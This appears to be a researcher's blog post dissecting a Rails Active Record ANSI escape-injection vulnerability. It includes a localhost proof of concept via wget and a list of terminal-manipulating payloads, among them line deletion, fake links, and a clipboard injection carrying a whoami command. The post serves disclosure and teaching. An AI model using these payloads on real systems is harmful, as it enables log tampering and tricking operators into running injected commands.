Last week, Rails added two security patches. One of them was meant to guard against CVE-2025-55193. This is a vulnerability in Active Record logging that could affect the log output. I was curious what an attacker could achieve by exploiting this vulnerability. Here, I logged my findings and created a simple PoC.
The sink is here. This line prints to the console, and the id is a user-controlled parameter, so it should not be trusted.
⌄
raise(RecordNotFound.new("Couldn't find #{name} with '#{primary_key}'=#{id}", name, primary_key, id))
>>> ^bad boiii
It is not exploitable under most circumstances, and the impact is reduced on most terminals. However, it may still increase the attack surface, particularly if there are misconfigurations.
The affected versions:
- activerecord >= 8.0, < 8.0.2.1 (patched in 8.0.2.1)
- activerecord >= 7.2, < 7.2.2.2 (patched in 7.2.2.2)
- activerecord >= 0, < 7.1.5.2 (patched in 7.1.5.2)
Please update to one of the latest Rails Versions 7.1.5.2, 7.2.2.2, or 8.0.2.1.
I wanted to see how it can be triggered, so for this, I set up a basic Rails app at the vulnerable version 7.1.0
.
mkdir ansi-vulnerable
cd ansi-vulnerable
echo "source 'https://rubygems.org'" > Gemfile
echo "gem 'rails', '7.1.0'" >> Gemfile
bundle install
# Check the rails v
bundle exec rails -v
Then I created the Rails app, the DB, and a placeholder scaffold.
bundle exec rails new . --force --skip-bundle
rails g scaffold book title:string
rails db:create db:migrate
rails s # localhost:3000
Locally, I am using the xterm-256color
term. So the payload for this might differ based on your terminal.
The escape sequences
I’ll not get into too many details on these. In 1967, the “C0” control character set was first defined (ISO 646).
But in the 70s, video terminals were the new cool thing. They could display colors/styles/formats, move the cursor around, modify previously written text, etc.
There was a need for standardization of the code performing these “magic” features. This was achieved by ECMA-48 (1976), ANSI X3.64 (1979), and ISO 6429 (1983).
The terms “ANSI escape sequences” and “ANSI control sequences” are often used interchangeably, but the control ones are actually a subset of the escape sequences.
Back to the Control Characters (Cc), there are two types:
- C0 - the first 32 non-printable characters of the ASCII table (defined initially in ISO 646). They are rarely used nowadays
- C1 - an additional 32 Ccs, both in 7-bit and 8-bit encodings. The 8-bit set is more straightforward and encodes each Cc in a single byte; it spans from 128 to 159 (decimal). The 7-bit systems cannot encode values over 128 in a single unit, so to represent them, it was decided to combine the ESC character with one character between decimal 64 and 95.
The format of a Control Sequence:
CSI Pn In F
- CSI - Control Sequence Introducer (
\x1b
(ESC)/\x9b
/\x5b
) - Pn - Parameter bytes (optional, code points
\x30
<>\x3f
, ofn
length, separated by “;”) - In - Intermediate bytes (optional, code points
\x20
<>\x2f
, ofn
length) - F - Final bytes (a bit combination from
\x40
<>\x7e
)
Alternative notation
printf '\x1b[32m Green Text \x1b[0m\x07' - Hex
printf '\033[32m Green Text \033[0m\007' - Octal
printf '\u001b[32m Green Text \u001b[0m\u0007' - Unicode
printf '\27[32m Green Text \27[0m\7' - Decimal
printf '\e[32m Green Text \e[0m\a' - ASCII
The payload
I tested with this payload:
\x1b\x5b3;32;44m hello \x1b\x5b0m
Here:
-
\x1b
and\x5b
- CSI -
3;32;44
- P -
- 3 - italics
-
- 32 - color green
-
- 44 - background color blue
-
0
- resets the style -
m
- calling the function
PAYLOAD=$(printf '\x1b\x5b3;32;44m hello \x1b\x5b0m')
wget http://localhost:3000/books/$PAYLOAD
This triggers the RecordNotFound
error of ActiveRecord which prints the requested ID to the console. Being vulnerable to ANSI escape injection, it prints the styling as well.
This here suffices in demonstrating the vulnerability.
I researched what other things an attacker might be able to do. These depend on the terminal:
-
\x1b\x5b20F hello
- move the cursor to previous 20 lines -
\x1b\x5b10M hello
- delete 10 lines -
\e]8;;http://example.com\e\\This is a link\e]8;;\e\\\n
- print links in the victim’s terminal -
\033]52;c;c2xlZXAgMQplY2hvICQod2hvYW1pKQ==\007
- clipboard injection (injectingecho $(whoami)
) -
\x1b[?1001h\x1b[?1002h\x1b[?1003h\x1b[?1004h\x1b[?1005h\x1b[?1006h\x1b[?1007h\x1b[?1015h\x1b[?10016h\
- print mouse tracking values in the terminal
In some rare cases, it might even open up the possibility for remote command execution.
The patch
To fix this, the Rails team added a call .inspect
on the id before printing it to the console (commit 3beef20).
Resources
- https://nicholas-morris.com/articles/ansi-codes - Great read
- https://invisible-island.net/xterm/ctlseqs/ctlseqs.html - Documentation to all the sequences xterm supports
- https://www.youtube.com/watch?v=opW_Q7jvSbc - Weaponizing Plain Text: ANSI Escape Sequences as a Forensic Nightmare